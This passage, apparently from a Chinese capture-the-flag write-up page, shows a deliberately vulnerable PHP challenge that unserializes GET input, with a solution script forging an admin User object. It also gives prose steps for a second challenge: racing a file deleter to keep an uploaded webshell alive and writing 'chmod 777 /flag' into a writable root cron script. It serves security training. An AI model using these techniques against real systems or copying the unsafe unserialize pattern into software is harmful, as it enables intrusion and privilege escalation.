    public function __construct() {
        $this->flag = file_get_contents('/flag');
    }

    public function getFlag() {
        return $this->flag;
    }

    public function __toString() {
        return "You can't directly access the flag!";
    }
}

class User {
    public $username;
    public $isAdmin = false;

    public function __construct($username) {
        $this->username = $username;
    }

    public function __wakeup() {
        if ($this->isAdmin) {
            echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
        } else {
            echo "Hello, " . htmlspecialchars($this->username) . "!";
        }
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];

    $object = unserialize($data);
    if ($object instanceof User) {
        echo $object;
    } else {
        echo "Invalid object!";
    }
} else {
    highlight_file(__FILE__);
}
?>

这题太简单了,直接秒了

<?php

class Flag {
    private $flag;

    public function __construct() {
        $this->flag = file_get_contents('/flag');
    }

    public function getFlag() {
        return $this->flag;
    }

    public function __toString() {
        return "You can't directly access the flag!";
    }
}

class User {
    public $username;
    public $isAdmin = true;

    public function __construct($username) {
        $this->username = $username;
    }

    public function __wakeup() {
        if ($this->isAdmin) {
            echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
        } else {
            echo "Hello, " . htmlspecialchars($this->username) . "!";
        }
    }
}

echo serialize(new User('admin'));

小蓝鲨的临时存储室

这个题目是条件竞争的
随便写个马上传上去,过几下就会被删除,这时候只需要不断上传,因为他是排队删除的,就有时间执行命令



然后蚁剑连接

发现flag是444不能读取,这时想到删除文件的那个down_file.sh,这是一个计划定时任务,他好像是有root权限也是可写的,那么我们可不可以写入一条chmod 777 /flag给flag文件一个可读权限呢

只需等待定时任务触发,即可读取flag

0 条评论
某人
表情
可输入 255